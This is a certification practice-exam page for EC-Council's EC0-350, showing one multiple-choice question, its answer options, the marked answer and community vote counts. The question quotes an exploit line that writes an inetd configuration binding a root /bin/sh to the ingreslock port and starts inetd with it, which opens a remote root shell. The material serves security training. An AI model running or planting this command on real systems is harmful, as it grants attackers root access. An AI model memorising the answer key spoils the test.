nerdexam
EC-Council

EC0-350 · Question #797

Study the following exploit code taken from a Linux machine and answer the questions below: echo "ingreslock stream tcp nowait root /bin/sh sh -I" > /tmp/x; /usr/sbin/inetd -s /tmp/x; sleep 10…

The correct answer is A. The command /bin/sh sh -i appearing in the exploit code is actually part of an inetd configuration file. See the full explanation below for the reasoning.

Question

Study the following exploit code taken from a Linux machine and answer the questions below:

echo "ingreslock stream tcp nowait root /bin/sh sh -I" > /tmp/x; /usr/sbin/inetd -s /tmp/x; sleep 10; /bin/ rm 0f /tmp/x AAAA...AAA In the above exploit code, the command "/bin/sh sh -I" is given. What is the purpose, and why is `sh' shown twice?

Options

  • AThe command /bin/sh sh -i appearing in the exploit code is actually part of an inetd configuration file.
  • BThe length of such a buffer overflow exploit makes it prohibitive for user to enter manually.
  • CIt checks for the presence of a codeword (setting the environment variable) among the environment
  • DIt is a giveaway by the attacker that he is a script kiddy.

How the community answered

(36 responses)
  • A
    78% (28)
  • B
    3% (1)
  • C
    14% (5)
  • D
    6% (2)

Community Discussion

No community discussion yet for this question.

Full EC0-350 Practice